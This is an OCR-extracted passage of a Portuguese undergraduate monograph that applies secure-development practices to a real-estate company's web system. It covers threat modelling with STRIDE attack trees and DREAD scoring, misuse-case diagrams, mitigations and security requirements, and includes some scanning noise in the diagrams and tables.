praticas sao usadas em organizacOes que adotaram o DevOPs. Por fim, uma anélise que quantifica
os niveis de colaboragdo entre as equipes de desenvolvimento, equipes de operacdes e equipes
de seguranca das organizacdes que estdo usando o DevOPs.

Na Figura 3.8, Dev & Ops apresenta o nivel de colaboracio entre desenvolvimento
e equipes de operacdes, Dev & Sec apresenta o nivel de colaboracao entre equipes de desen-
volvimento e seguranga, e a Sec & Ops apresenta o nivel de colaboracao entre as equipes de
seguranca e operagOes. Nas células da tabela apresenta a contagem de organizacdes de DevOPs

para um certo tipo de colaboracao.
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Table T: Level of collaboration
Lowest | Low Moderate | High Highest
Dev&Ops | ] 0 | 5 |
Dev&Sec | 0 2 4 1 2
Sec&Ops | 0 0 4 3 |

Figura 3.8 Niveis de colaboracio nas organizacdes entrevistadas (RAHMAN; WILLIAMS, 2016).

Na Figura 3.9, apresenta a frequéncia do uso de atividades de seguranca entre as nove
organizacOes entrevistadas. Conforme mostrado na Figura 3.9, executando politicas de seguranga

e executando testes de seguranca manuais sdo as duas atividades de seguranga mais usadas.

Tahble 8: Use of security activities

5 ™o
]

Name

Pertorming security policies

Performing manual security tests

Fod

Input validation

Pertorming compliance requirements

e

Performing security configurations

| ]

Risk analysis

[

Isolation of untrusted 1nputs 3
Threat modeling 3
Design review 5 4
Security requirements analysis 3 4

Figura 3.9 Lista de praticas de seguranca e uma analise de como elas sdo usadas em organizagGes que
adotaram o DevOPs (RAHMAN; WILLIAMS, 2016)

3.4 Testes de intrusao e sua eficicia na deteccao de vulnerabilidades

ANTUNES; VIEIRA (2009) diz: "pesquisas anteriores € praticas mostram que muitos
servigos da web sd@o implantados com vulnerabilidades criticas". Isso ressalta a necessidade da
realizacdo de testes de penetracdo e andlise estatica do cédigo fonte. Logo, a seguir apresenta-se

um artigo que aborda sobre a eficdcia dessas duas técnicas.
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3.4.1 Comparing the Effectiveness of Penetration Testing and Static Code Analysis on the

Detection of SQL Injection Vulnerabilities in web Services:

O artigo compara a eficdcia de duas técnicas na detec¢do de vulnerabilidades de injecao
SQOL no cédigo de servicos da web. Com o objetivo de compreender os pontos fortes e as
limita¢des dessas técnicas sdo usadas as seguintes ferramentas de teste de penetracdo e anélise
de codigo estitico: HP WeblInspect, IBM Rational AppScan, Acunetix Web Vulnerability Scanner,
FindBugs, Yasca e IntelliJ IDEA. A metodologia utilizada foi um estudo experimental de
abordagem quantitativa em ferramentas de c6digo aberto verificando a sua eficicia na deteccdo
de vulnerabilidades e as taxas de falsos positivos. Diante dos testes, os autores concluiram que,
em geral, os analisadores de codigo estatico sdo capazes de detectar mais vulnerabilidades de
injecdo de SQL do que teste de penetracdo. Entretanto, os falsos positivos sdo um problema
para ambas as abordagens, apresentado maior impacto no caso de andlise estitica. Também
foi observado que diferentes ferramentas implementando a mesma abordagem frequentemente
relatam diferentes vulnerabilidades no mesmo pedacgo de c6digo (ANTUNES; VIEIRA, 2009).
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A segurancga de software, segundo BRAGA (2007) “se preocupa com a seguranca ja na
construgdo do software e abrange todo o ciclo de vida”. O ciclo de vida apresentado na Figura
2.14 abrange desde a andlise de requisitos a liberacdo do produto. Este ciclo possui métodos
denominados de boas préticas que asseguram seguranga ao software. Diante disso, este trabalho
demonstra a aplicacdo dessas boas praticas no software RRG Construcdo. A seguir é apresentado

a Figura 4.1 que demonstra a sequéncia dos métodos utilizados neste trabalho.

Modelagem Diagrama de .| Requisitesde | Analise de
de Ameacas Caaizde Seguranca Riscos

Analise de Analize de Testes de
Riscos - Cédigo Penetraco

Figura 4.1 Metodologia.
As boas préticas aplicadas neste trabalho sao:

» Modelagem de ameacas: busca identificar as ameacas do sistema;
= Casos de abuso e mau uso: define o que o software ndo deve fazer;

= Requisitos de seguranca: detalha em um documento os parametros de seguranca do
software;

= Andlise de riscos: realiza um estudo pormenorizado de cada risco do sistema;

= Andlise de c6digo € um procedimento para localizar bugs e detectar inconsisténcias

no codigo-fonte;
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» Testes de intrusdo: testa um aplicativo em execucdo remotamente, sem conhecer
o funcionamento interno do préprio aplicativo, para encontrar vulnerabilidades de

seguranca.

4.1 Apresentaciao do sistema RRG Construcoes

Antes de adentrarmos nos documentos sera explicado sobre o software estudado RRG
Construcao. Trata-se de um software desenvolvido para a construtora RRG Construcdo. Ele visa
divulgar iméveis para venda e aluguel, caso o visitante tenha interesse ele preenche o formulério

com seus contatos. A Figura 4.2 apresenta a regra de negdécio do sistema.

act Activity Diagram0 J
Cliente entra em
O— contato com a

empresa

O clignte esta
cadastrado?

Nao O funcionario
cadastra clients

no sistema

sim

O sistema exibe
0s imavels

disponiveis
O funcionario vincula o
_CI@nte eSCO|h‘e cliente ao imovel e
imavel disponivel cadastra os dados no
contrato

Figura 4.2 Regra de Negbcio

A cliente entra em contato com a empresa. O funciondrio ou o gerente entra na drea
de login com suas credenciais e cadastra o cliente no sistema, seleciona o imével escolhido e
gera o contrato. O funciondrio tem permissao de cadastrar clientes, imdveis, contratos, folha de
pagamento e usudrios, enquanto que o gerente, além dessas permissoes, tem a possibilidade de
cadastrar funcionarios, folha de pagamento e perfis. O administrador tem acesso total e € o tinico
com permissoes de cadastrar menus. A seguir sdo apresentadas as telas conforme as Figuras 4.3,
4.4, 45, 542, 477, 48¢ 5.10.

A Figura 4.3 apresenta a tela inicial do sistema com o logon da empresa, no canto

superior direito ha os menus, abaixo as imagens dos imdveis que estio a venda e no canto direito
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Figura 4.3 Tela Inicial

ha os telefones de contato.
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niclo movals Sarvigos Login Contsto

Vendas Aluguéis

Cidade: Lago Sul
Quartos: 5

Area de Lazer: Sim
Vagas de garagem: 5

Nimero de

Banheiros: 4 - 93”::3,:1,;

Enderego: QI O Conj 7 (&1

Casa 265 Talefone fhoo:
(613038 5820

valor Fax:

R$2.935.000,00 (6113561 1122

Figura 4.4 Vendas de iméveis

A Figura 4.4 apresenta a tela de vendas de imdveis. No canto superior direito ha os
menus, abaixo hd dois links para imdveis que estio a venda e que estio para alugar. Nestes links
ha informagdes dos imdveis e quando clicado nas imagens eles levam para outra pagina com

mais imagens.
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Contato

nome:

Email;

L 1 conamr

(E1)9 B175 D622
‘Comentéri;

Telefone fhoo:
[E113033 5820

Fax:
(61)3561 1122

d

WhatsApp

Enwiar

3 Emall

Figura 4.5 Tela de contato

A Figura 4.5 apresenta a tela de contato. No canto superior direito ha os menus, abaixo

ha um formuldrio e no canto direito ha os telefones de contato.
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[EAFX =S S NI A AV SCEN ==
Inicio Imoveis Servigos Login Contato

Login

Login

Senha

Enirar Voliar

Figura 4.6 Tela de Login

A Figura 4.6 apresenta a tela de login. No canto superior direito ha os menus, abaixo
ha um formulério que deve ser preenchido com as credencias, dependendo do usudrio ele sera

enquadrado em um dos trés perfis: funciondrio, gerente ou administrador.

=

e aw—e i S S S Vi i e S T M e Y S
Bem Vindo,ingrid Sair

Menu Perfil Usuario Funcionario  Cliente Imoveis Contrato

Pagina Inicial

Figura 4.7 Pagina Principal do Administrador

A Figura 4.7 apresenta a tela do administrador apés logon. No canto superior esquerdo
ha os menus que aparecem conforme o perfil. No caso do administrador que possui acesso total

ao sistema aparece todas as op¢des de menus.
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a1

Pt I S S S S B S A — T — e

Bem Vindo,paulo Sair

Usuario Cliente Imoveis Contrato

Pagina Inicial

Figura 4.8 Pagina Principal do Funcionério

A Figura 4.8 apresenta a tela do funciondrio apds o logon. No canto superior esquerdo
ha os menus que aparecem conforme o perfil. No caso do funcionério hd um nimero reduzido

de menus devido aos privilégios serem mais restritos.
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R G,
[FA AT CREA R IST A ZALK .5@%?
Lista de contratos

Novo Cadastro

Voltar

D Tipo Data Cliente Imoveis Funcionario Opgoes

1 aluguel 2018-11-28 roger Ceilandia Sul 420 ingrid ﬂ
2 venda 2018-11-20 joao Samambaia Norte 118 ingrid ﬂ
5 aluguel 2018-11-13 uigi Aguas Claras - Art Life alexandre ﬂ
6 venda 2018-11-06 mario Plano Piloto - L2 Norte Jose ﬂ

Figura 4.9 Lista de Contratos

A Figura 5.10 apresenta a lista de contratos da empresa apds o login em um dos perfis.
No canto superior esquerdo hd dois botdes de “Novo Contrato” e “Voltar”. Quando clicado no
botao ’Novo Contrato* direciona para um formuldrio. J4 na lista de contratos hd os simbolos de
alterar e exclui. Quando clicado no simbolo de alterar, retorna ao formuldrio e permite realizar a

acgdo.
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Apresentacao e Analise dos Resultados

Neste capitulo sdo apresentados os documentos de andlise de seguranca, tais como:
modelagem de ameacas, casos de abuso e mau uso e requisitos de seguranca. Além de, imagens
e relatorios dos testes de penetracio e da andlise de cddigo que foram realizadas por meio de
softwares. Ao final é exibido uma anélise de riscos desses resultados na qual explica e compara

com outros autores.

5.1 Modelagem de Ameacas

A modelagem de ameacas, na Se¢do 2.5.1 hd mais explicagdes sobre a modelagem
de ameacas, ¢ uma andlise baseada em seguranca que ajuda as profissionais de tecnologia a
determinar os riscos de seguranca e como os ataques podem se manifestar. Esse documento
permite entender melhor o sistema estudado, pois decompde o aplicativo em subprocessos.
Também ajuda a encontrar bugs e sdo tteis nos testes de seguranca (MICHAEL HOWARD,
2005). A seguir € apresentado a primeira etapa da modelagem de ameacas: Decomposi¢do do

aplicativo.

5.1.1 Decomposicao do aplicativo

A primeira fase da modelagem de ameaca, de acordo com MICHAEL HOWARD (2005),
¢ a decomposi¢do do aplicativo. Essa fase consiste na divisdo do mesmo em subsistemas com
a finalidade de compreender a composi¢do dele e o seu fluxo de dados no software. Para a
decomposicao do aplicativo foram utilizados os Diagrama de Fluxo de Dados (DFD). O primeiro
diagrama apresentado € diagrama de contexto, de nivel mais alto, s6 tem um processo € nenhum
armazenamento de dados.

A Figura 5.1 apresenta o diagrama de contexto do sistema RRG Construgdes. Nele ha
o processo “Sistema RRG Constru¢des” com os atores: gerente, administrador e funciondrio
que interagem com o sistema. Todos eles realizam solicitagcdes de Create, Read, Update e
Delete (CRUD) basicas e recebem um feedback das suas solicitagdes, por exemplo: “usudrio

cadastrado com sucesso”.
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1.0 Gerente

solicitagao de
cadastramento, alterag&o ou
excluséo de perfil,
funcionario e usuario

solicitagdo de
cadastramento ou alteragdo
0.0 ou exclusao de menu
Sistema RRG -

3.0

Administrador

feedback da solicitagdo

Resposta de confirmagao
do pedido

\ Construgdes

feedback da solicitagdo

&

solicitagéo de
cadastramento ou alteragao
de imoveis, contratos,
clientes e folha de
pagamento

2.0 Funcionério

Figura 5.1 Diagrama de Contexto
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A Figura 5.2 representa o diagrama de nivel 1. A sua diferenga para o diagrama
de contexto € o nivel de detalhes. Na Figura 5.2 o processo “Sistema RRG Constru¢dao” é
decomposto em varios processos, tais como: impde politicas administrativas, acessa os dados,
tratamento de solicitagdo de servico do funciondrio e gerente.

O ator Administrador solicita a inser¢do de um novo menu, no processo “Impde politicas
administrativas”. O novo menu € inserido para todos ou para um determinado usuario. Apos a
imposi¢ao da politica, os dados sdo armazenados no ‘“Dados da pédgina principal”. Depois esses
dados sdo inseridos no banco de dados no processo “Acessa os dados”.

O atores funciondrio e gerente solicitam um servigo, essa solicitacdo € manipulada
pelo processo “Trata solicitacao de servico do funciondrio” e “Trata solicitacdo de servico do
gerente” que verificam o usudrio no armazenamento de dados “Dados de autenticacdo”. Esse
armazenamento de dados impde as politicas administrativas criadas pelo administrador. Por fim,
para finalizar a solicitagdo € passado para o processo “Acessa os dados” que fornece os dados

solicitados.

tarefas administrativas
3.0

Administrador

9.0 Imp6e
politicas
administrativas

dados do sistema apés
o logon atualizados

feedbak da solicitagdo

dados de autenticaca
atualizados

8.0 Dados do

dados de autenticagéo :
sistema

6.0 Dados de

autenticagio

solicitacé@o de dados do
sistema atualizado

status de

credencial -
autenticacgéo

solicitagao de cadastro,
alteracao e listagem de
contratos, iméveis e
clientes

solicitagao de
dados dos
contratos e
outros

.0 trata’
solicitagéo 7.0
.-_-I\ de servigo Acessa

do ]4 \ os dados
Resposta_ dw
solicitagao Dados dos

contratos,
solicitagao de cadastro, iméveis e

alteragéo, listagem £ L clientes
EXCLUSAQ de perfis, @ sctlalué;tadgan
funcionarios e usuarios icitacs e dados
1.0 Gerente | Solicitagho

“|  de servigo /
Resposta da de gerente /&
solicitagéo Dados dos
funcionarios, perfis e
usuarios

2.0
Funcionario

A

Figura 5.2 Diagrama de nivel 1
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5.1.2 Determinacao das ameacas do sistema

Apos a identificagdo de componentes, na etapa anterior, sdo determinadas as ameacas
que venham atacar esses componentes ou alvos de ameacgas. Um método para determinagdo
de fraquezas € a arvore de ameacas que tem como objetivo descrever os possiveis caminhos
que um atacante pode tomar. Abaixo sao mostradas as drvore de ameagas juntamente com suas

categorias conforme a classificacio STRIDE, (Secdo 2.5.1).

Ameaca: Vé dados
confidenciais do
sistema em transito

Trafego HTTP est3

desprotegido Inwasor vé o trafego

Analisa o trafego de

rede com analisador Escuta o trafego do
de protocolo (sniffer) roteador

Adivinha a senha do
roteadar

Roteador esta
desprotegido

Compromete o
roteador

Figura 5.3 Arvore de ameaca n. 1

A Figura 5.3 demonstra a primeira ameaca do tipo revelacdo de informacao, de acordo
com a classificacdo do STRIDE. O alvo da ameacga € a resposta da solicitacdo entre o funciondrio
ou gerente e o processo “Trata solicitacdo de servi¢o”, conforme apresentado na Figura 5.2.
Essa ameaca ocorrerd porque o HTTP esta desprotegido. O ataque é mais provavel por meio
de um usudrio mal-intencionado que utiliza um analisador de protocolo, pois € mais barato e
facil de realizar. Outra forma seria por escutar o trafego do roteador que pode acontecer de duas

maneiras: comprometendo o roteador ou adivinhando a senha.
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Ameaca: Ganha
informacdes de
senha do usuario

Espiona a conexdo
basica de
autenticacio

Compromete o banco
de dados onde estio
armazenadas as
credenciais

Software mal-
intencionado 1€ as
senhas

Usuario instala
maiware gue |&
senhas

Alagues externos,
como: injecdo SGL

Usuario privilegiados
que acessam dados
sensivals

Figura 5.4 Arvore de ameaca n. 2

Na Figura 5.4, a ameaca: “Ganha informacdes de senha do usudrio” € categorizada

como revelacdo de informacao. O alvo da ameaga sdo os “Dados de autenticagdo”, conforme

apresentado na Figura 5.2. Essa ameaga podera ocorrer de trés formas: por meio da andlise da

conexao de autenticagdo, pelo comprometimento do banco de dados através de ataques externos

ou pela utilizacdo indevida por parte de usudrios privilegiados. Uma outra possibilidade seria a

execugdo de um software que captura senhas.
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Compromete o banco
de dados

Falha de seguranca

Figura 5.5 Arvore de ameaca n. 3

Ameaca: Manipula
dados do sistema

Falha administrativa

Modifica os dados do
processo de privilégio
do administrador

N

Dados estido
desprotegidos

Invasor vé o trafego
naredeefaza
modificaco

Na Figura 5.5, a ameaca: “Manipula dados do sistema” € categorizada como adulteracdo

de informacgdo. O alvo da ameaca sdo os “Dados do sistema”, conforme apresentado na Figura

5.2. Poderd acontecer por meio do comprometimento do banco de dados que se da por conta de

falhas de seguranca ou falhas administrativas '. Também por meio da modificacio de dados no

processo de privilégio do administrador que diz respeito ao acesso a dados atualizados do sistema

que percorrem desde a console administrativa ao processo “ Impde politica administrativas”,

conforme a Figura 5.2, e depois para o armazenamento de dados do sistema. Essa tdltima

ocorrera se os dados estdao desprotegidos. Dai o invasor pode captura-los durante a sua circulagao

na rede.

IFalha administrativa: é uma falha na l6gica administrativa do sistema. Esta é responsdvel por manter todas as
regras sobre quem pode fazer o que com os dados. Falha de seguranga: é uma invasdo que resulta em acesso nio

autorizado a dados.




5.1. MODELAGEM DE AMEACAS

83

Ameaca: Eleva

privilégio por meio do

senvidor web

Instala codigo
malicioso

Falha de seguran;a
no servidor web

Ermo do administrador
permite que o invasor
carmregue o codigo

Figura 5.6 Arvore de ameaca n. 4

) 3 : e, ) ) web” & )
Na Figura 5.6, a ameaca: “Eleva privilégios por meio do servidor web’ € categorizada

como elevagao de privilégios. O alvo da ameaga é a “ Solicitagdo de servi¢o do funciondrio ou

do gerente”, apresentada na Figura 5.2. Essa ocorre por meio da instalacdo de cddigo malicioso

que sucede através de falhas de seguranca no servidor web ou erro do administrador que permite

a um usudrio ndo autorizado o carregamento de cédigo malicioso.
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Ameaca: Spoofing do

servidor web
Cria magquina com Derruba a maquina
mesmo name verdadeira
Inunda servidor com
Sequestro de DNS pacotes de [P mal
formados

Figura 5.7 Arvore de ameaca n. 5

Na Figura 5.7, a ameaca: “Spoofing do servidor web” € categorizada como Spoofing
de identidade. O alvo da ameaga € a “Solicitacdo de servico do funciondrio ou do gerente””,
apresentada na Figura 5.2. Essa ameaca sucede através da criacdo de uma miquina com o

mesmo nome e derrubamento da mesma que se dd por meio do sequestro de DNS.
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Ameaca: Eleva
privilegio ao de

administrador
Compromete o banco Escuta o trafego na Falhs?mn:rggg:a e
de dados rede S
Erro administrativo de
seguranca
Falha na seguranca Fallha administrativa
SNIFFER Comprometendo o

roteadaor

Figura 5.8 Arvore de ameaca n. 6

Na Figura 5.8, a ameaca: “Eleva privilégio ao de administrador” € categorizado como
elevacao de privilégio. O alvo da ameaca é o processo “Impde politicas administrativas™ que
percorre o caminho de armazenamento de Dados do sistema ao processo “Acessa Dados”,
apresentado na Figura 5.2. Pode ocorrer de trés maneiras: comprometendo o banco de dados,

escutando o trafego na rede e falha na 16gica da interface administrativa 2.

%A 16gica da interface administrativa é um componente no sistema estudado que determina o que é exibido na
interface administrativa com o usudrio. Ele determina as regras administrativas.
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5.1.3 Classificacao de ameacas

Apo6s determinar as ameagas e criar suas arvores, € preciso classificar as ameagas mais
importantes de acordo com o risco. Para isso, serd utilizado o método DREAD descrito na Secao
2.5.1. O método DREAD atribui uma pontuacao de 1 a 10 para dano potencial, reproduzibilidade,
explorabilidade, usudrios afetados e possibilidade de descoberta. Apds isso, € tirado uma média
das pontuacgdes e classificado as ameacas em ordem decrescente sendo que, a partir de 9, a
ameaca € considerada perigosa e deve ser resolvida rdpido. Segue abaixo a classificacdo de

ameacas, (Tabela 5.1):

Tabela 5.1 Tabela DREAD de ameacas

Ameacas Dano Reproduzibili-| Explorabilidade | Usudrios Possibilidade | TOTAL

Potencial dade afetados de ser des-
coberto

Vé dados con-| 8 10 7 10 10

fidenciais do sis-

tema em transito

Ganha infor- | 10 10 9 10 10

macdes de senha

do usudrio

Manipula dados | 10 5 5 10 10

do sistema

Eleva privilégio | 10 2 5 10 10

por meio do ser-

vidor web

Spoofing do ser- | 10 2 2 8 10

vidor web

Eleva privilégio | 10 7 9 10 10

ao de adminis-

trador

Portanto, de acordo com a Tabela 5.1, a classificacdo se dd da seguinte forma: a
ameaca “Ganha informacOes de senha” estd em primeiro lugar, pois recebeu o total de 9,8
sendo considerada de alto risco. Em segundo lugar estd a ameaca de “Eleva privilégio ao
de administrador”, pois recebeu a pontuacao de 9,2. Terceiro lugar estd a ameaca “Vé dados
confidenciais em transito”, pois recebeu pontuacio de 9. Quarto lugar estd a ameaca de “Manipula
dados do sistema” com pontuacao de 8. Quinto lugar € para a ameaca de “Spoofing do servidor
web” com pontuacgado de 6,4. Por fim, o sexto lugar € para a ameaca de “Eleva de privilégio por

meio do servidor web” que recebeu pontuacdo de 5.
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5.1.4 Atenuacao

Nesta etapa serd determinado como lidar com as ameacas apresentadas. Na Tabela 5.2
sdo apresentadas solugdes em forma de tecnologias ou técnicas de seguranca. Apesar dessas
solugdes exigirem mais trabalho por parte dos desenvolvedores, elas mitigam adequadamente as

ameagas em potenciais.

Tabela 5.2 Tabela de atenuagdes
Técnicas e Tecnologias

Ameacgas

Vé dados confidenciais do sistema em tran-
sito

Utilizar SSL/TLS, (Secao 2.3.1), para
criptografar o canal de comunicagdo.

Ganha informacdes de senha do usudrio

Criptografia e validacdo de dados

Manipula dados do sistema

Proteger os dados trafegados na rede com

SSL/TLS. A tecnologia SSL/TLS € uma
boa alternativa porque ela fornece codigos
de autenticacdo de mensagens para detec-
tar ataques baseados em adulteracdo de
dados

Executar o processo seguindo as diretrizes
do menor privilégio.

Utilizar SSL/TLS permitindo que o soft-
ware cliente autentique o servidor.
Executar com o menor privilégio e utilize
SSL/TLS no canal de comunicacao.

Eleva privilégio por meio do servidor web

Spoofing do servidor web

Eleva privilégio ao de administrador

5.2 Diagrama de casos de mau uso e casos de abuso

Segundo ALEXANDER (2003) o diagrama de casos de mau uso consiste em um caso
de uso do ponto de vista de um usudrio mal intencionado. Esses diagramas sdo de grande
importancia durante a construcdo do sistema, conforme ALEXANDER (2003) diz: "Empregar
casos de uso indevido para modelar e analisar cendrios em sistemas pode melhorar a seguranca
ajudando a mitigar ameacas". Diante disso, sdo apresentados a seguir os diagramas do software
estudado RRG Construgdes.

Basicamente os diagramas apresentados demonstram os diagramas de casos de uso a
esquerda e os casos de mau uso a direita. Por exemplo, na Figura 5.9 ha dois atores: funcionario
e gerente. O funciondrio possui permissdes de cadastrar, listar e alterar os clientes no sistema,
enquanto que, somente o gerente tem a permissdo de excluir os clientes. No lado direito ha o
caso de uso indevido no qual o funciondrio poderia burlar a autenticacdo do sistema, esta € a
primeira ameaga. A mitigacdo seria implementar uma autenticacio de dois fatores, mas hd uma
segunda ameagca: a injecdo de SQOL na drea de login, a mitigag@o para essa ameaca € a validacao
de dados.
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inserir cliente
listar cliente
alterar cliente

excluir cliente

| Inclui

FUNCIONARIO

Ameaca

—
Hxx-i
P ~
Mitigac&o
oA | Inclui //

Ameaca

autenticacdo de dois
fatores e senhas mais
fortes

injec3io de sql

Mitigacdo

validagdo de dados

Figura 5.9 Diagrama de mau uso do diagrama manter cliente

Nas Figuras 5.10, 5.11, 5.12, que ilustram os diagramas de mau uso relativos as agcoes
de manter contrato , manter pagamentos e mater imoveis, ha dois atores: funciondrio e gerente,
sendo que o funciondrio possui permissdes de cadastrar, listar e alterar os contratos no sistema,
enquanto que, somente o gerente tem a permissdo de excluir os contratos. No lado direito ha o
caso de uso indevido no qual o funciondrio poderia burlar a autenticacao do sistema, esta seria a
primeira ameaca. A mitigacao seria implementar uma autenticacao de dois fatores, entretanto a
segunda ameaga para essa mitigacao seria a adulteracao de dados, a mitigacdo para essa ameaca

seria a assinatura digital que garante integridade.
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listar contrato
alterar contrato

excluir contrato

FUNCIANARIO

buriar a autenticacio

GERENTE Mitigagdo

FUNCIONARIO

autenticacio de dois
fatores e senhas mais
fortes

Mitigagdo

assinatura digital

Figura 5.10 Diagrama de mau uso do diagrama manter contrato

inserir folha de
pagamento
listar folha de
pagamento
alterar folha de
pagamento

excluir folha de
pagamento

FUNCIBNARIO

burtar a autenticagdo

GERENTE Mitigagdo

FUNCIONARIO

autenticacio de dois
fatores e senhas mais
fortes

Mitigagdo

assinatura digital

Figura 5.11 Diagrama de mau uso do diagrama manter folha de pagamento
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inserir imdveis
listar imoveis
&
alterar imoveis
Ameaga

excluir imoveis

burlar a autenticagdo

GERENTE Mitigagio

FUNCIONARIO

adulterago de dados

autenticacio de dois
fatores e senhas mais
fortes

Mitigagdo

assinatura digital

Figura 5.12 Diagrama de mau uso do diagrama manter iméveis
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Na Figura 5.13, somente o administrador possui permissdo para cadastrar, listar, alterar e
excluir os menus que aparecem no sistema. Neste contexto, hd dois atores: funciondrio e gerente
que poderiam burlar a autenticagdo, esta seria uma ameaca, a mitigagcao seria a implementagao

de autenticacdo de dois fatores e politicas que exijam senhas mais fortes.

Burlar a autenticaggo e — f E

ter acesso aos menus

Manter Menu

Ameaca

= | inciui -
T ‘ Mitigacao

B autenticagdo de dois
ADMINISTRADOR fatores e senhas mais

fortes

FUNCIONARIO

GERENTE

Figura 5.13 Diagrama de mau uso do diagrama manter menu

Na Figura 5.14, o funciondrio, gerente € administrador possuem permissdes de cadastrar
novos usudrios que obterdo acesso a parte interna do sistema. Porém, hda uma ameaca nessa situa-
cdo que seria a possibilidade do funciondrio cadastrar qualquer pessoa no sistema, a mitigacao

para esse problema € a diminui¢do de privilégios para o funciondrio.

Ameaca

Cadastrar qualquer
pessoa

Manter Usuario

[
)\, FUNCIONARIO
FUNCIONARIO

| Inclui

Mitigagdo

Diminuic&o de privilégios

GERENTE

%

ADMINISTRADOR

Figura 5.14 Diagrama de mau uso do diagrama manter usudrios

Na Figura 5.15, o gerente e o administrador possuem permissoes de cadastrar novos
funcionarios. Porém, um funciondrio ja cadastrado poderia burlar a autenticacdo e cadastrar
novas pessoas, a mitigacao para esse problema € a autenticacdo em dois fatores, que poderia
ser implementada para o software RRG por meia de senhas e fokens, mas o funciondrio poderia

utilizar de um sniffer para analisar o trdfego na rede e obter acesso as informagdes confidenciais,
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uma possivel solucdo € a criptografia para garantir a confidencialidade da informacao que trafega
na rede.

Ameaca

Manter funcionario L
buriar a autenticacao

At
GERENTE FUNCIONARIO

autenticacfo de dois
fatores e senhas mais
fortes

Ameaca

ADMINISTRADOR

criptografia

Figura 5.15 Diagrama de mau uso do diagrama manter funcionérios

Na Figura 5.16, o gerente e administrador possuem permissdes de cadastrar novos
perfis, por exemplo: no sistema h4 trés perfis, funciondrio, administrador e gerente cada um
com privilégios diferentes. Porém, um funciondrio ja cadastrado poderia burlar a autenticacao e
cadastrar novos perfis, a mitigac@o para esse problema é a autenticacdo em dois fatores. Mas o
funciondrio poderia invadir o computador do gerente que possui essas permissdes, uma possivel

solugdo € a criptografia para garantir a confidencialidade da informacao.

Manter perfil

Ameaca

At
GERENTE FUNCIONARIO

L Inclui
Mitigacdo |

autenticagdo de dois N
fatores e senhas mais Ameaca
fortes

ADMINISTRADOR

Mitigagio

criptografia

Figura 5.16 Diagrama de mau uso do diagrama manter perfil
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5.3 Requisitos de Seguranca

Ap6s a construcdo dos casos de mau uso serdo apresentados os requisitos de seguranca
do referido sistema. De acordo com FIRESMITH (2003), os casos de mau uso servem para
analisar, refinar e especificar os requisitos de seguranca. Porém, de acordo com o autor, os casos
de mau uso possuem limitagdes, uma vez que, eles frequentemente assumem a existéncia prévia
de mecanismos de seguranca arquitetonicos a serem frustrados. Em vista disso, é necessério a
aplicacdo dos casos de mau uso com os requisitos de segurancga a fim de fortalecer a seguranca
de sistemas e aplicativos. A seguir sdo apresentados os requisitos de seguranca do sistema RRG

Construgdes, nos quais sao:
» Requisitos de Identificacao:

1. O sistema deve identificar todos os usudrios antes de permitir que eles

usem OS Seus recursos;

2. O banco de dados deve identificar todos os usudrios que realizam login no

sistema;

3. O sistema deve garantir que o nome dos funcionérios, clientes e iméveis

correspondam exatamente ao que consta no contrato.
= Requisitos de Autenticacio:

1. O sistema deve verificar a identidade de todos os seus usuarios antes de

permitir que eles atualizem, cadastrem e excluam as informagdes;

2. O banco de dados deve verificar a identidade de todo o pessoal antes de

permitir o login;

3. O sistema deve permitir o envio automatico de um e-mail para recuperar a

senha do usuério.
= Requisitos de Autorizacao:

1. Garantir que o administrador do sistema seja capaz de autorizar usurios

autenticados a acessar recursos ou informagdes;

2. O sistema deve ser capaz de impedir que usudrios nao autorizados ob-
tenham acesso a dados confidenciais ou solicite a execucado de servigos

restritos;

3. O sistema deve permitir que cada usudrio obtenha acesso as suas informa-

¢oes pessoais da conta;

4. O sistema deve limitar o nlimero de pessoas com privilégios para conceder

ou alterar autorizagdes;
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= Requisitos Imunitarios:

1. O sistema deve se proteger de ataques, tais como: backdoor 3, inje¢io de

SQL, entre outros.

2. O sistema deve verificar todas as informacdes inseridas e softwares baixa-

dos a fim de se proteger de malwares e outros programas prejudiciais;

3. O sistema deve ser capaz de notificar o administrador ou outra pessoa

habilitada caso ocorram ataques;

4. O sistema deve realizar verificagcdes dos arquivos;
= Requisitos de Disponibilidade

1. O sistema deve possuir recursos para se proteger de ataques de negacao
de servicos (DoS) e ataques de negacgdo de servigos distribuidos (DDoS),
por exemplo: utilizar um servidor que atue como um filtro, impedindo
solicitagdes indevidas por meio de botnets nos servidores onde o site estd

hospedado;

2. O sistema deve utilizar uma maior largura de banda para que o servidor

consiga suprir a demanda de solicitacdes de acesso;

3. O sistema deve utilizar um firewall para gerenciar as conexoes.

= Requisitos de Integridade:
1. O sistema deve impedir a corrup¢ao ndo autorizada de dados coletados de
clientes e outras informagdes;
2. O sistema deve impedir a corrup¢ao das comunicacdes que passam por

redes externas;

= Requisitos de Detecciao de Intrusao:

1. O sistema deve registrar informagdes sobre as tentativas de acesso nao

autorizado;

2. Deve detectar individuos e programas nao autorizados que estdo tentando

acessar o sistema;

= Requisitos de Nao Repudiacao:

3Backdoor: é uma técnica que permite o acesso ao sistema infectado e seu controle remoto. O atacante pode
eliminar ou modificar arquivos, executar programas, enviar emails massivamente ou instalar ferramentas maliciosas
(ALBORS, 2016).
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1. O sistema deve fazer e armazenar registros invioldveis das seguintes infor-

macodes sobre cada pedido recebido de um usudrio, por exemplo:

= O contetdo do pedido;

= A data e hora em que o pedido foi enviado ou solicitado;
= A data e hora em que o pedido foi recebido;

» A identidade do usuério;

= A assinatura do digital do usuério.
= Requisitos de Privacidade:

1. O sistema niao deve armazenar nenhuma informacgao pessoal sobre os

usuarios;
2. O sistema ndo deve permitir que individuos ou programas ndo autorizados

acessem qualquer dado armazenado;

= Requisitos de Auditoria de Seguranca:

1. O sistema deve coletar, organizar o status de seus mecanismos de segu-
ranga, incluindo: a identificacdo, autenticagc@o e autorizagdo, a imunidade,

a privacidade, a deteccdo de intrusdo, os logs de acesso, entre outros.

» Requisitos de Manutencao do Sistema:

1. O sistema ndo deve violar seus requisitos de seguranca como resultado de

uma atualiza¢do de um dos componentes;

2. O sistema ndo deve violar seus requisitos de seguranca como resultado da

substituicdo de um dos componentes de dados, hardware ou software.

= Requisitos Fisicos de Protecio:

1. O acesso ao codigo deve ser limitado;
2. O sistema deve possuir protecao contra técnicas de engenharia reversa;

3. O servidor deve ser protegido de danos fisicos, destrui¢io, roubo e outros.
= Requisitos de Sobrevivéncia:

1. O sistema continuaréd funcionando mesmo que tenha sido degradado;
2. O sistema deve suportar falhas no banco de dados;

3. O sistema deve suportar perdas de energias € outros imprevistos;
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5.4 Analise de Riscos

A analise de riscos, conforme VERDON; MCGRAW (2004), é uma ferramenta de
